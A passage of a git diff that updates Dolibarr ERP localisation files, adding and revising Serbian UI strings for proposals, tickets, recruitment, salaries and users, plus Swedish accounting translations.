refused on portal page Notify_PROPAL_SENTBYMAIL=Komercijalna ponuda poslata mailom Notify_WITHDRAW_TRANSMIT=Podizanje transfera Notify_WITHDRAW_CREDIT=Kreditno podizanje @@ -181,6 +183,7 @@ SizeUnitfoot=foot SizeUnitpoint=tačka BugTracker=Bug tracker SendNewPasswordDesc=This form allows you to request a new password. It will be sent to your email address.
      Change will become effective once you click on the confirmation link in the email.
      Check your inbox. +EnterNewPasswordHere=Enter your new password here BackToLoginPage=Nazad na login stranu AuthenticationDoesNotAllowSendNewPassword=Mod autentifikacije je %s.
      U ovom modu, Dolibarr nema uvid u Vašu lozinku i ne može je promeniti.
      Kontaktirajte Vašeg sistem administratora ukoliko želite da promenite lozinku. EnableGDLibraryDesc=Install or enable GD library on your PHP installation to use this option. @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Invoice %s has been validated. EMailTextInvoicePayed=Invoice %s has been paid. EMailTextProposalValidated=Proposal %s has been validated. EMailTextProposalClosedSigned=Proposal %s has been closed signed. +EMailTextProposalClosedSignedWeb=Proposal %s has been closed signed on portal page. +EMailTextProposalClosedRefused=Proposal %s has been closed refused. +EMailTextProposalClosedRefusedWeb=Proposal %s has been closed refuse on portal page. EMailTextOrderValidated=Order %s has been validated. EMailTextOrderApproved=Order %s has been approved. EMailTextOrderValidatedBy=Order %s has been recorded by %s. @@ -304,3 +310,30 @@ ConfirmBtnCommonContent = Are you sure you want to "%s" ? ConfirmBtnCommonTitle = Confirm your action CloseDialog = Zatvori Autofill = Autofill + +# externalsite +ExternalSiteSetup=Podesi link ka eksternom sajtu +ExternalSiteURL=External Site URL of HTML iframe content +ExternalSiteModuleNotComplete=Modul eksterni sajt nije ispravno konfigurisan. +ExampleMyMenuEntry=Stavka iz mog menija + +# ftp +FTPClientSetup=FTP or SFTP Client module setup +NewFTPClient=New FTP/SFTP connection setup +FTPArea=FTP/SFTP Area +FTPAreaDesc=This screen shows a view of an FTP et SFTP server. +SetupOfFTPClientModuleNotComplete=The setup of the FTP or SFTP client module seems to be incomplete +FTPFeatureNotSupportedByYourPHP=Your PHP does not support FTP or SFTP functions +FailedToConnectToFTPServer=Failed to connect to server (server %s, port %s) +FailedToConnectToFTPServerWithCredentials=Failed to login to server with defined login/password +FTPFailedToRemoveFile=Greška prilikom brisanja fajla %s. +FTPFailedToRemoveDir=Failed to remove directory %s: check permissions and that the directory is empty. +FTPPassiveMode=Passive mode +ChooseAFTPEntryIntoMenu=Choose a FTP/SFTP site from the menu... +FailedToGetFile=Greška prilikom preuzimanja fajlova %s +ErrorFTPNodisconnect=Error to disconnect FTP/SFTP server +FileWasUpload=File %s was uploaded +FTPFailedToUploadFile=Failed to upload the file %s. +AddFolder=Create folder +FileWasCreateFolder=Folder %s has been created +FTPFailedToCreateFolder=Failed to create folder %s. diff --git a/htdocs/langs/sr_RS/propal.lang b/htdocs/langs/sr_RS/propal.lang index a08a560feef..3e8c292ffbe 100644 --- a/htdocs/langs/sr_RS/propal.lang +++ b/htdocs/langs/sr_RS/propal.lang @@ -54,6 +54,7 @@ NoDraftProposals=Nema draft ponuda CopyPropalFrom=Dupliraj postojeću ponudu CreateEmptyPropal=Create empty commercial proposal or from list of products/services DefaultProposalDurationValidity=Default trajanje validnosti komercijalne ponude (u danima) +DefaultPuttingPricesUpToDate=By default update prices with current known prices on cloning a proposal UseCustomerContactAsPropalRecipientIfExist=Use contact/address with type 'Contact following-up proposal' if defined instead of third party address as proposal recipient address ConfirmClonePropal=Are you sure you want to clone the commercial proposal %s? ConfirmReOpenProp=Are you sure you want to open back the commercial proposal %s? @@ -64,36 +65,54 @@ AvailabilityPeriod=Čekanje dostupnosti SetAvailability=Postavi trajanje čekanja dostupnosti AfterOrder=posle narudžbine OtherProposals=Druge ponude + ##### Availability ##### AvailabilityTypeAV_NOW=Odmah AvailabilityTypeAV_1W=1 nedelja AvailabilityTypeAV_2W=2 nedelje AvailabilityTypeAV_3W=3 nedelje AvailabilityTypeAV_1M=1 mesec -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Agent koji prati ponudu TypeContact_propal_external_BILLING=Kontakt sa računa klijenta TypeContact_propal_external_CUSTOMER=Kontakt klijenta koji prati ponudu TypeContact_propal_external_SHIPPING=Customer contact for delivery + # Document models -DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) -DocModelCyanDescription=A complete proposal model +CantBeNoSign=cannot be set not signed +CaseFollowedBy=Case followed by +ConfirmMassNoSignature=Bulk Not signed confirmation +ConfirmMassNoSignatureQuestion=Are you sure you want to set not signed the selected records ? +ConfirmMassSignature=Bulk Signature confirmation +ConfirmMassSignatureQuestion=Are you sure you want to sign the selected records ? +ConfirmMassValidation=Bulk Validate confirmation +ConfirmMassValidationQuestion=Are you sure you want to validate the selected records ? +ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +ContractSigned=Contract signed +DefaultModelPropalClosed=Default model prilikom zatvaranja komercijalne ponude (nenaplaćen) DefaultModelPropalCreate=Kreacija default modela DefaultModelPropalToBill=Default model prilikom zatvaranja komercijalne ponude (za naplatu) -DefaultModelPropalClosed=Default model prilikom zatvaranja komercijalne ponude (nenaplaćen) +DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) +DocModelCyanDescription=A complete proposal model +FichinterSigned=Intervention signed +IdProduct=Product ID +IdProposal=Proposal ID +IsNotADraft=is not a draft +LineBuyPriceHT=Buy Price Amount net of tax for line +NoSign=Odbij +NoSigned=set not signed +PassedInOpenStatus=has been validated +PropalAlreadyRefused=Proposal already refused +PropalAlreadySigned=Proposal already accepted +PropalRefused=Proposal refused +PropalSigned=Proposal accepted ProposalCustomerSignature=Pismeno odobrenje, pečat kompanije, datum i potpis ProposalsStatisticsSuppliers=Vendor proposals statistics -CaseFollowedBy=Case followed by -SignedOnly=Signed only -IdProposal=Proposal ID -IdProduct=Product ID -PrParentLine=Proposal Parent Line -LineBuyPriceHT=Buy Price Amount net of tax for line -SignPropal=Accept proposal RefusePropal=Refuse proposal Sign=Sign -PropalAlreadySigned=Proposal already accepted -PropalAlreadyRefused=Proposal already refused -PropalSigned=Proposal accepted -PropalRefused=Proposal refused -ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +SignContract=Sign contract +SignFichinter=Sign intervention +SignPropal=Accept proposal +Signed=signed +SignedOnly=Signed only diff --git a/htdocs/langs/sr_RS/recruitment.lang b/htdocs/langs/sr_RS/recruitment.lang index 4a53daa7854..ec8566e86c9 100644 --- a/htdocs/langs/sr_RS/recruitment.lang +++ b/htdocs/langs/sr_RS/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Email recruiter ToUseAGenericEmail=To use a generic email. If not defined, the email of the responsible of recruitment will be used NewCandidature=New application ListOfCandidatures=List of applications -RequestedRemuneration=Requested remuneration -ProposedRemuneration=Proposed remuneration +Remuneration=Plata +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=Contract proposed ContractSigned=Contract signed ContractRefused=Contract refused RecruitmentCandidature=Application JobPositions=Job positions RecruitmentCandidatures=Applications -InterviewToDo=Interview to do +InterviewToDo=Contacts to follow AnswerCandidature=Application answer YourCandidature=Your application YourCandidatureAnswerMessage=Thanks you for your application.
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=The job position is closed. ExtrafieldsJobPosition=Complementary attributes (job positions) ExtrafieldsApplication=Complementary attributes (job applications) MakeOffer=Make an offer +WeAreRecruiting=We are recruiting. This is a list of open positions to be filled... +NoPositionOpen=No positions open at the moment diff --git a/htdocs/langs/sr_RS/salaries.lang b/htdocs/langs/sr_RS/salaries.lang index eec614e40f7..6bcf9e4fb2a 100644 --- a/htdocs/langs/sr_RS/salaries.lang +++ b/htdocs/langs/sr_RS/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Konto koji se koristi za korisnike trećih lica -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated accounting account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Accounting account by default for wage payments CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=By default, leave empty the option "Automatically create a total payment" when creating a Salary Salary=Plata @@ -24,3 +24,4 @@ SalariesStatistics=Salary statistics SalariesAndPayments=Salaries and payments ConfirmDeleteSalaryPayment=Do you want to delete this salary payment ? FillFieldFirst=Fill employee field first +UpdateAmountWithLastSalary=Set amount with last salary diff --git a/htdocs/langs/sr_RS/ticket.lang b/htdocs/langs/sr_RS/ticket.lang index 89f95857c97..0292490480b 100644 --- a/htdocs/langs/sr_RS/ticket.lang +++ b/htdocs/langs/sr_RS/ticket.lang @@ -27,6 +27,7 @@ Permission56003=Delete tickets Permission56004=Manage tickets Permission56005=See tickets of all third parties (not effective for external users, always be limited to the third party they depend on) +Tickets=Tickets TicketDictType=Ticket - Types TicketDictCategory=Ticket - Groupes TicketDictSeverity=Ticket - Severities @@ -90,15 +91,17 @@ TicketPublicAccess=A public interface requiring no identification is available a TicketSetupDictionaries=The type of ticket, severity and analytic codes are configurable from dictionaries TicketParamModule=Module variable setup TicketParamMail=Email setup -TicketEmailNotificationFrom=Notification email from -TicketEmailNotificationFromHelp=Used into ticket message answer by example -TicketEmailNotificationTo=Notifications email to -TicketEmailNotificationToHelp=Send email notifications to this address. +TicketEmailNotificationFrom=Sender e-mail for notification on answers +TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com +TicketEmailNotificationTo=Notify ticket creation to this e-mail address +TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation TicketNewEmailBodyLabel=Text message sent after creating a ticket TicketNewEmailBodyHelp=The text specified here will be inserted into the email confirming the creation of a new ticket from the public interface. Information on the consultation of the ticket are automatically added. TicketParamPublicInterface=Public interface setup TicketsEmailMustExist=Require an existing email address to create a ticket TicketsEmailMustExistHelp=In the public interface, the email address should already be filled in the database to create a new ticket. +TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. +TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=Public interface TicketUrlPublicInterfaceLabelAdmin=Alternative URL for public interface TicketUrlPublicInterfaceHelpAdmin=It is possible to define an alias to the web server and thus make available the public interface with another URL (the server must act as a proxy on this new URL) @@ -136,6 +139,20 @@ TicketsPublicNotificationNewMessage=Send email(s) when a new message/comment is TicketsPublicNotificationNewMessageHelp=Send email(s) when a new message is added from public interface (to assigned user or the notifications email to (update) and/or the notifications email to) TicketPublicNotificationNewMessageDefaultEmail=Notifications email to (update) TicketPublicNotificationNewMessageDefaultEmailHelp=Send an email to this address for each new message notifications if the ticket doesn't have a user assigned to it or if the user doesn't have any known email. +TicketsAutoReadTicket=Automatically mark the ticket as read (when created from backoffice) +TicketsAutoReadTicketHelp=Automatically mark the ticket as read when created from backoffice. When ticket is create from the public interface, ticket remains with the status "Not Read". +TicketsDelayBeforeFirstAnswer=A new ticket should receive a first answer before (hours): +TicketsDelayBeforeFirstAnswerHelp=If a new ticket has not received an answer after this time period (in hours), an important warning icon will be displayed in the list view. +TicketsDelayBetweenAnswers=An unresolved ticket should not be unactive during (hours): +TicketsDelayBetweenAnswersHelp=If an unresolved ticket that has already received an answer has not had further interaction after this time period (in hours), a warning icon will be displayed in the list view. +TicketsAutoNotifyClose=Automatically notify thirdparty when closing a ticket +TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a message to one of thirdparty's contacts. On mass closing, a message will be sent to one contact of the thirdparty linked to the ticket. +TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. +TicketChooseProductCategory=Product category for ticket support +TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. + # # Index & list page # @@ -151,6 +168,8 @@ OrderByDateAsc=Sort by ascending date OrderByDateDesc=Sort by descending date ShowAsConversation=Show as conversation list MessageListViewType=Show as table list +ConfirmMassTicketClosingSendEmail=Automatically send emails when closing tickets +ConfirmMassTicketClosingSendEmailQuestion=Do you want to notify thirdparties when closing these tickets ? # # Ticket card @@ -176,8 +195,7 @@ TicketAssigned=Ticket is now assigned TicketChangeType=Change type TicketChangeCategory=Change analytic code TicketChangeSeverity=Change severity -TicketAddMessage=Add a message -AddMessage=Add a message +TicketAddMessage=Add private message MessageSuccessfullyAdded=Ticket added TicketMessageSuccessfullyAdded=Message successfully added TicketMessagesList=Message list @@ -188,8 +206,8 @@ TicketSeverity=Severity ShowTicket=See ticket RelatedTickets=Related tickets TicketAddIntervention=Kreiraj intervenciju -CloseTicket=Close|Solve ticket -AbandonTicket=Abandon ticket +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Close|Solve a ticket ConfirmCloseAticket=Confirm ticket closing ConfirmAbandonTicket=Do you confirm the closing of the ticket to status 'Abandonned' @@ -203,18 +221,17 @@ SendMessageByEmail=Send message by email TicketNewMessage=New message ErrorMailRecipientIsEmptyForSendTicketMessage=Recipient is empty. No email send TicketGoIntoContactTab=Please go into "Contacts" tab to select them -TicketMessageMailIntro=Introduction +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=This text is added only at the beginning of the email and will not be saved. -TicketMessageMailIntroLabelAdmin=Introduction to the message when sending email -TicketMessageMailIntroText=Hello,
      A new response was sent on a ticket that you contact. Here is the message:
      -TicketMessageMailIntroHelpAdmin=This text will be inserted before the text of the response to a ticket. -TicketMessageMailSignature=Potpis -TicketMessageMailSignatureHelp=This text is added only at the end of the email and will not be saved. -TicketMessageMailSignatureText=

      Sincerely,

      --

      -TicketMessageMailSignatureLabelAdmin=Signature of response email -TicketMessageMailSignatureHelpAdmin=This text will be inserted after the response message. +TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      +TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=This text will be inserted after the response message. TicketMessageHelp=Only this text will be saved in the message list on ticket card. TicketMessageSubstitutionReplacedByGenericValues=Substitutions variables are replaced by generic values. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=Time elapsed since TicketTimeToRead=Time elapsed before read TicketTimeElapsedBeforeSince=Time elapsed before / since @@ -225,6 +242,7 @@ TicketMessageMailIntroAutoNewPublicMessage=A new message was posted on the ticke TicketAssignedToYou=Ticket assigned TicketAssignedEmailBody=You have been assigned the ticket #%s by %s MarkMessageAsPrivate=Mark message as private +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=This message will not display to external users TicketEmailOriginIssuer=Issuer at origin of the tickets InitialMessage=Initial Message @@ -238,9 +256,16 @@ TicketChangeStatus=Change status TicketConfirmChangeStatus=Confirm the status change: %s ? TicketLogStatusChanged=Status changed: %s to %s TicketNotNotifyTiersAtCreate=Not notify company at create +NotifyThirdpartyOnTicketClosing=Contacts to notify while closing the ticket +TicketNotifyAllTiersAtClose=All related contacts +TicketNotNotifyTiersAtClose=No related contact Unread=Unread TicketNotCreatedFromPublicInterface=Not available. Ticket was not created from public interface. ErrorTicketRefRequired=Ticket reference name is required +TicketsDelayForFirstResponseTooLong=Too much time elapsed since ticket opening without any answer. +TicketsDelayFromLastResponseTooLong=Too much time elapsed since last answer on this ticket. +TicketNoContractFoundToLink=No contract was found to be automatically linked to this ticket. Please link a contract manually. +TicketManyContractsLinked=Many contracts have been automatically linked to this ticket. Make sure to verify which should be chosen. # # Logs @@ -268,11 +293,12 @@ TicketNewEmailBody=This is an automatic email to confirm you have registered a n TicketNewEmailBodyCustomer=This is an automatic email to confirm a new ticket has just been created into your account. TicketNewEmailBodyInfosTicket=Information for monitoring the ticket TicketNewEmailBodyInfosTrackId=Ticket tracking number: %s -TicketNewEmailBodyInfosTrackUrl=You can view the progress of the ticket by clicking the link above. +TicketNewEmailBodyInfosTrackUrl=You can view the progress of the ticket by clicking the following link TicketNewEmailBodyInfosTrackUrlCustomer=You can view the progress of the ticket in the specific interface by clicking the following link +TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link TicketEmailPleaseDoNotReplyToThisEmail=Please do not reply directly to this email! Use the link to reply into the interface. TicketPublicInfoCreateTicket=This form allows you to record a support ticket in our management system. -TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe the problem. Provide the most information possible to allow us to correctly identify your request. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=Please enter ticket tracking ID TicketTrackId=Public Tracking ID OneOfTicketTrackId=One of your tracking ID @@ -291,6 +317,10 @@ NewUser=Novi korisnik NumberOfTicketsByMonth=Number of tickets per month NbOfTickets=Number of tickets # notifications +TicketCloseEmailSubjectCustomer=Ticket closed +TicketCloseEmailBodyCustomer=This is an automatic message to notify you that ticket %s has just been closed. +TicketCloseEmailSubjectAdmin=Ticket closed - Réf %s (public ticket ID %s) +TicketCloseEmailBodyAdmin=A ticket with ID #%s has just been closed, see information: TicketNotificationEmailSubject=Ticket %s updated TicketNotificationEmailBody=This is an automatic message to notify you that ticket %s has just been updated TicketNotificationRecipient=Notification recipient diff --git a/htdocs/langs/sr_RS/users.lang b/htdocs/langs/sr_RS/users.lang index a80d70f05ad..9c7d0e37565 100644 --- a/htdocs/langs/sr_RS/users.lang +++ b/htdocs/langs/sr_RS/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Izbaci iz grupe PasswordChangedAndSentTo=Lozinka izmenjena i poslata na %s. PasswordChangeRequest=Request to change password for %s PasswordChangeRequestSent=Zahtev za izmenu lozinke za %s je poslat %s. -IfLoginExistPasswordRequestSent=If this login is a valid account, an email to reset password has been sent. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=If this email is a valid account, an email to reset password has been sent. ConfirmPasswordReset=Confirm password reset MenuUsersAndGroups=Korisnici & Grupe @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Link to user LinkedToDolibarrThirdParty=Link to third party CreateDolibarrLogin=Kreiraj korisnika CreateDolibarrThirdParty=Kreiraj subjekat -LoginAccountDisableInDolibarr=Nalog je deaktiviran u Dolibarr-u +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Upotrebi lićnu vrednost -InternalUser=Interni korsnik ExportDataset_user_1=Users and their properties DomainUser=Korisnik domena %s Reactivate=Reaktiviraj @@ -114,7 +114,7 @@ UserLogoff=User logout UserLogged=User logged DateOfEmployment=Employment date DateEmployment=Employment -DateEmploymentstart=Employment Start Date +DateEmploymentStart=Employment Start Date DateEmploymentEnd=Employment End Date RangeOfLoginValidity=Access validity date range CantDisableYourself=You can't disable your own user record @@ -124,3 +124,12 @@ ValidatorIsSupervisorByDefault=By default, the validator is the supervisor of th UserPersonalEmail=Personal email UserPersonalMobile=Personal mobile phone WarningNotLangOfInterface=Warning, this is the main language the user speak, not the language of the interface he choosed to see. To change the interface language visible by this user, go on tab %s +DateLastLogin=Date last login +DatePreviousLogin=Date previous login +IPLastLogin=IP last login +IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/sv_SE/accountancy.lang b/htdocs/langs/sv_SE/accountancy.lang index 3baf9fff011..f8c7d961687 100644 --- a/htdocs/langs/sv_SE/accountancy.lang +++ b/htdocs/langs/sv_SE/accountancy.lang @@ -4,20 +4,20 @@ Accounting=Redovisning ACCOUNTING_EXPORT_SEPARATORCSV=Kolumnseparator för exportfil ACCOUNTING_EXPORT_DATE=Datumformat för exportfil ACCOUNTING_EXPORT_PIECE=Export the number of piece -ACCOUNTING_EXPORT_GLOBAL_ACCOUNT=Export with global account -ACCOUNTING_EXPORT_LABEL=Exportera titel -ACCOUNTING_EXPORT_AMOUNT=Exportera belopp +ACCOUNTING_EXPORT_GLOBAL_ACCOUNT=Exportera med globalt konto +ACCOUNTING_EXPORT_LABEL=Exporttitel +ACCOUNTING_EXPORT_AMOUNT=Exportbelopp ACCOUNTING_EXPORT_DEVISE=Exportera valuta -Selectformat=Select the format for the file -ACCOUNTING_EXPORT_FORMAT=Select the format for the file +Selectformat=Välj filformat +ACCOUNTING_EXPORT_FORMAT=Välj filformat ACCOUNTING_EXPORT_ENDLINE=Välj vagnens returtyp -ACCOUNTING_EXPORT_PREFIX_SPEC=Specify the prefix for the file name -ThisService=Tjänsten -ThisProduct=Den här produkten -DefaultForService=Standard för service +ACCOUNTING_EXPORT_PREFIX_SPEC=Ange prefix för filnamnet +ThisService=Denna tjänst +ThisProduct=Denna produkt +DefaultForService=Standard för tjänster DefaultForProduct=Standard för produkter -ProductForThisThirdparty=Produkt för denna tredje part -ServiceForThisThirdparty=Service för denna tredje part +ProductForThisThirdparty=Produkt för denna tredjepart +ServiceForThisThirdparty=Tjänst för denna tredjepart CantSuggest=Kan inte föreslå AccountancySetupDoneFromAccountancyMenu=De flesta inställningarna för bokföringen görs från menyn %s ConfigAccountingExpert=Konfiguration av modulredovisningen (dubbel inmatning) @@ -37,8 +37,8 @@ OtherInfo=Övrig information DeleteCptCategory=Ta bort redovisningskontot från gruppen ConfirmDeleteCptCategory=Är du säker på att du vill ta bort det här kontot konto från kontokoncernen? JournalizationInLedgerStatus=Status för bokföring -AlreadyInGeneralLedger=Already transferred to accounting journals and ledger -NotYetInGeneralLedger=Not yet transferred to accouting journals and ledger +AlreadyInGeneralLedger=Redan överfört till redovisningsjournaler och reskontra +NotYetInGeneralLedger=Ännu inte överfört till redovisningsjournaler och reskontra GroupIsEmptyCheckSetup=Gruppen är tom, kontrollera inställningen av den personliga redovisningsgruppen DetailByAccount=Visa detaljer efter konto AccountWithNonZeroValues=Konton med icke-nollvärden @@ -48,8 +48,9 @@ CountriesNotInEEC=Länder inte i EEG CountriesInEECExceptMe=Länder i EEG förutom %s CountriesExceptMe=Alla länder utom %s AccountantFiles=Exportera källdokument -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=Med det här verktyget kan du söka och exportera källhändelserna som används för att skapa din bokföring.
      Den exporterade ZIP-filen kommer att innehålla listor över begärda objekt i CSV, såväl som deras bifogade filer i originalformat (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=För att exportera verifikationer, använd menyn %s - %s +ExportAccountingProjectHelp=Ange ett projekt om du behöver en redovisningsrapport endast för ett specifikt projekt. Kostnadsredovisningar och lånebetalningar ingår inte i projektredovisningar. VueByAccountAccounting=Visa baserat på redovisningskonto VueBySubAccountAccounting=Visa efter redovisning av underkonto @@ -58,28 +59,29 @@ MainAccountForSuppliersNotDefined=Huvudkonton för leverantörer som inte defini MainAccountForUsersNotDefined=Huvudkontonskonto för användare som inte definierats i installationen MainAccountForVatPaymentNotDefined=Huvudkonton för momsbetalning som inte definieras i inställningen MainAccountForSubscriptionPaymentNotDefined=Huvudkonton för abonnemangsbetalning som inte definieras i inställningen +UserAccountNotDefined=Redovisningskonto för användare är inte definierat i konfigurationen AccountancyArea=Redovisningsområde AccountancyAreaDescIntro=Användningen av bokföringsmodulen görs i flera steg: AccountancyAreaDescActionOnce=Följande åtgärder utförs vanligtvis en gång bara, eller en gång per år ... -AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you automaticaly the correct default accounting account when transferring data in accounting +AccountancyAreaDescActionOnceBis=Nästa steg bör göras för att spara tid i framtiden genom att föreslå att du automatiskt använder rätt standardkonto när du överför data i bokföring AccountancyAreaDescActionFreq=Följande åtgärder utförs vanligtvis varje månad, vecka eller dag för mycket stora företag ... -AccountancyAreaDescJournalSetup=STEP %s: Check content of your journal list from menu %s +AccountancyAreaDescJournalSetup=STEG %s: Kontrollera innehållet i din tidskriftslista från menyn %s AccountancyAreaDescChartModel=STEG %s: Kontrollera att det finns en kontodiagrammodell eller skapa en från menyn %s AccountancyAreaDescChart=STEG %s: Välj och | eller slutför ditt kontoplan från meny %s AccountancyAreaDescVat=STEG %s: Definiera redovisningskonton för varje moms. För detta, använd menyinmatningen %s. AccountancyAreaDescDefault=STEG %s: Definiera standardbokföringskonton. För detta, använd menyinmatningen %s. -AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of Expense report. For this, use the menu entry %s. +AccountancyAreaDescExpenseReport=STEG %s: Definiera standardkonton för varje typ av utgiftsrapport. Använd menyposten %s för detta. AccountancyAreaDescSal=STEG %s: Definiera standardbokföringskonto för betalning av löner. För detta, använd menyinmatningen %s. -AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for Taxes (special expenses). For this, use the menu entry %s. +AccountancyAreaDescContrib=STEG %s: Definiera standardkonton för skatter (särskilda utgifter). För detta, använd menyposten %s. AccountancyAreaDescDonation=STEG %s: Definiera standardbokföringskonto för donation. För detta, använd menyinmatningen %s. AccountancyAreaDescSubscription=STEG %s: Definiera standardbokföringskonto för medlemsabonnemang. För detta, använd menyinmatningen %s. AccountancyAreaDescMisc=STEG %s: Ange obligatoriskt standardkonto och standardbokföringskonto för diverse transaktioner. För detta, använd menyinmatningen %s. AccountancyAreaDescLoan=STEG %s: Definiera standardbokföringskonto för lån. För detta, använd menyinmatningen %s. AccountancyAreaDescBank=STEG %s: Definiera bokföringskonto och kontokod för varje bank- och bokföringskonto. För detta, använd menyinmatningen %s. -AccountancyAreaDescProd=STEP %s: Define accounting accounts on your Products/Services. For this, use the menu entry %s. +AccountancyAreaDescProd=STEG %s: Definiera bokföringskonton på dina produkter/tjänster. För detta, använd menyposten %s. AccountancyAreaDescBind=STEG %s: Kontrollera bindningen mellan befintliga %s linjer och bokföringskonto är klar så att applikationen kommer att kunna bokföra transaktioner i huvudboken med ett klick. Korrigera saknade bindningar. För detta, använd menyinmatningen %s. AccountancyAreaDescWriteRecords=STEG %s: Skriv transaktioner i huvudboken. För detta, gå till menyn %s , och klicka på knappen %s . @@ -99,7 +101,8 @@ ShowAccountingAccount=Visa bokföringskonto ShowAccountingJournal=Visa loggböcker ShowAccountingAccountInLedger=Visa redovisningskonto i huvudbok ShowAccountingAccountInJournals=Visa redovisningskonto i tidskrifter -AccountAccountingSuggest=Redovisningskonto föreslås +DataUsedToSuggestAccount=Data som används för att föreslå konto +AccountAccountingSuggest=Konto föreslaget MenuDefaultAccounts=Standardkonton MenuBankAccounts=Bankkonton MenuVatAccounts=Vat konton @@ -112,7 +115,7 @@ MenuAccountancyClosure=Stängning MenuAccountancyValidationMovements=Validera rörelser ProductsBinding=Produkter konton TransferInAccounting=Överföring i bokföring -RegistrationInAccounting=Recording in accounting +RegistrationInAccounting=Bokföring i bokföring Binding=Förbindande till konton CustomersVentilation=Kundfaktura förbindande SuppliersVentilation=Leverantörsfaktura förbindande @@ -120,10 +123,11 @@ ExpenseReportsVentilation=Utläggsrapport förbindande CreateMvts=Skapa ny transaktion UpdateMvts=Ändring av en transaktion ValidTransaction=Bekräfta transaktionen -WriteBookKeeping=Record transactions in accounting +WriteBookKeeping=Registrera transaktioner i bokföringen Bookkeeping=Huvudbok BookkeepingSubAccount=Underledger AccountBalance=Kontobalans +AccountBalanceSubAccount=Saldo på underkonton ObjectsRef=Källobjekt ref CAHTF=Totalt köpleverantör före skatt TotalExpenseReport=Totalkostnadsrapport @@ -161,42 +165,47 @@ BANK_DISABLE_DIRECT_INPUT=Inaktivera direktinspelning av transaktion i bankkonto ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Aktivera utkastexport på loggbok ACCOUNTANCY_COMBO_FOR_AUX=Aktivera kombinationslista för dotterbolagskonto (kan vara långsam om du har många tredje parter, bryter förmågan att söka efter en del av värdet) ACCOUNTING_DATE_START_BINDING=Definiera ett datum för att börja binda och överföra i bokföring. Under detta datum överförs inte transaktionerna till bokföring. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=Vid bokföringsöverföring, välj periodvisning som standard +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=Vid bokföringsöverföring, vilken period är vald som standard -ACCOUNTING_SELL_JOURNAL=Försäljningsloggbok -ACCOUNTING_PURCHASE_JOURNAL=Inköpsloggbok -ACCOUNTING_MISCELLANEOUS_JOURNAL=Logg för diverse operationer +ACCOUNTING_SELL_JOURNAL=Sales journal - sales and returns +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal - purchase and returns +ACCOUNTING_BANK_JOURNAL=Cash journal - receipts and disbursements ACCOUNTING_EXPENSEREPORT_JOURNAL=Utgiftsloggbok 